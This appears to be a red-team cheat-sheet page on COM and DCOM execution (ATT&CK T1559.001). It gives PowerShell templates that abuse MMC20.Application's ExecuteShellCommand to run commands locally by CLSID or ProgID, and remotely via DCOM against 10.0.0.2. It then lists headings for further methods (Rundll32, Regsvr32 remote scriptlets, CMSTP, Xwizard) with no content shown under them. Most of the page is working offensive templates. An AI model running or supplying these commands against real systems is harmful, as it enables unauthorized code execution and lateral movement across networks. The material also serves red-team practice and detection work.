πCOM Execution - T1559.001
Templates and methods of quickly executing COM and DCOM
Powershell
Execution via CLSID
$a = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889"))
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c C:\mtr.exe > c:\fromdcom.txt","7")Execution via ProgID
$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1"))
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c C:\mtr.exe > c:\fromdcom.txt","7")DCOM Execution
$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","10.0.0.2"))
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c C:\mtr.exe > c:\fromdcom.txt","7")Rundll32
Execution via CLSID
Execution via ProgID
Execution via shell32.dll
Scriptlet Execution from Remote Server
Remote Scriptlet via INF file
Regsvr32
COM Local Scriptlet Execution
COM Scriptlet Execution from Remote Server
CMSTP
PyCOM
Verclsid
Execution via CLSID
Xwizard
Execution via CLSID
ATT&CK Techniques in this Page
Last updated